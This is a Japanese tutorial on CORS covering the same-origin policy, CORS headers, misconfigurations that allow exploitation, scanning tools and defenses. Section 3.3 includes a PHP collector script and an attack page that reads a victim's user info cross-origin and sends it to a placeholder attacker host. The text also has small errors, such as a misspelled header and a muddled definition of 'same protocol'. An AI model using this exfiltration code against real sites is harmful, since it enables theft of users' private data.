クロスオリジンリソース共有(CORS)は、ブラウザの同一オリジンポリシーを緩和し、異なるウェブサイトとサーバー間で通信を可能にします
1. 同一オリジンポリシー#
同一オリジンポリシーは非常に重要なセキュリティポリシーであり、あるオリジンのドキュメントまたはそのドキュメントがロードするスクリプトが、別のオリジンのリソースとどのように相互作用できるかを制限するために使用されます。簡単に言えば、同一オリジンポリシーは、ページ上で実行される JavaScript などのスクリプトが、同じウェブサイト(同一オリジン)内の他のスクリプトのメソッドやプロパティに制限なくアクセスできることを許可します。ここで言及されているポイントは「同一オリジン」
同一オリジンとは何ですか?
- 同じプロトコル(例:両方が www である)
- 同じドメイン(ドメインとそのサブドメインは同一オリジンではありません)
- 同じポート(例:両方が 80 ポートである)
同一オリジンポリシーの説明はここまでです。詳細を知りたい場合はここをクリックしてください
2. CORS とは何ですか#
この Web2.0 の時代では、同一オリジンポリシーの制限が厳しすぎるため、同一オリジンポリシーの制限を緩和するための技術であるクロスオリジンリソース共有(CORS)が存在します。
CORS は、HTTP ヘッダーにフィールドを追加することで、ブラウザがクロスオリジンサーバーに対して XMLHttpRequest リクエストを送信できるようにするメカニズムです。これにより、AJAX が同一オリジンのみで使用できる制限を克服することができます。
CORS の動作メカニズムは、ブラウザが送信する際に自動的に Origin フィールドをリクエストヘッダーに追加し、サーバーが Origin フィールドを許可するかどうかを検証します。許可される場合、クロスオリジンアクセスが可能になります。
CORS の標準定義は、クライアントがリソースにクロスオリジンアクセスできるようにするために、HTTP ヘッダーフィールドを設定することです。
CORS には 2 つのクロスオリジンリクエストが定義されています:
- シンプルリクエスト:指定されたリクエスト方法でリソースを要求します
- プリフライトリクエスト:最初に OPTION プリフライトリクエストを送信し、リクエスト元がサーバーで許可されているかどうかを検証します。プリフライトが成功した後、リクエストを送信し、リソースを要求します。
主なヘッダーフィールド:
-
Origin:プリフライトリクエストまたは実際のリクエストのソースサイトを示します
-
Access-Control-Request-Method:プリフライトリクエストで使用される実際のリクエストの HTTP メソッドをサーバーに伝えるために使用されます
-
Access-Control-Request-Headers:プリフライトリクエストで使用される実際のリクエストで送信されるヘッダーフィールドをサーバーに伝えるために使用されます
-
Access-Control-Allow-Origin:このフィールドの値は、リクエスト時の Origin フィールドの値または *(* は任意のドメインを受け入れることを意味します)にすることができます
-
Access-Control-Allow-Credentials :このフィールドはブール値であり、true の場合、クッキーをリクエストと共にサーバーに送信できることを示します
3. CORS の攻撃と悪用#
脆弱性の悪用の最終目標は、「被害者が攻撃ページにアクセスするだけで、攻撃者が機密情報を取得できるようにすることです」
3.1 ユーザー認証情報を持つ悪用#
Access-Control-Allow-Origin の値 | Access-Control-Allow-Credentials の値 | 悪用可能か |
---|---|---|
https://attacker.com | true | 可能 |
null | true | 可能 |
* | true | 不可能 |
3.2 ユーザー認証情報がない悪用#
この場合、クッキーは送信されないため、攻撃者はクッキーを取得するのが困難です。
Access-Control-Allow-Origin の値 | 悪用可能か |
---|---|
https://attacker.com | 可能 |
null | 可能 |
* | 可能 |
上記の表の null のソースは、ページのリダイレクトまたはローカル HTML ファイルからのものです。
3.2.1 null ソースの悪用#
null ソースを取得するためにサンドボックス iframe を使用します
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
上記の iframe を使用して、次のようなリクエストを生成します:
GET /handler
Host: target.local
Origin: null
サーバーは null ソースを受け取り、次のようなレスポンスを返します:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 XMLHttpRequest を使用した攻撃#
- リモートサーバーでレコードコードを準備します(機密情報を取得するため)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- 攻撃ページを作成します
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- 被害者が攻撃ページにアクセスすると、サーバーに機密情報が記録されます
4. いくつかの悪用ツール#
- Brupsuite には CORS チェックが組み込まれていますが、誤検出率が高いです
- X-ray 検出
- CORScanner
5. CORS の防御#
- リクエストパケットの Origin の値を厳密に検証する
- Access-Control-Allow-Origin フィールドの値を * に設定しない
- Access-Control-Allow-Credentials: true を使用しない
- CORS を使用しない
- ホワイトリストを定義する
- セキュアなプロトコルを使用する
- キャッシュ時間を制限する
- 必要なヘッダーのみを設定する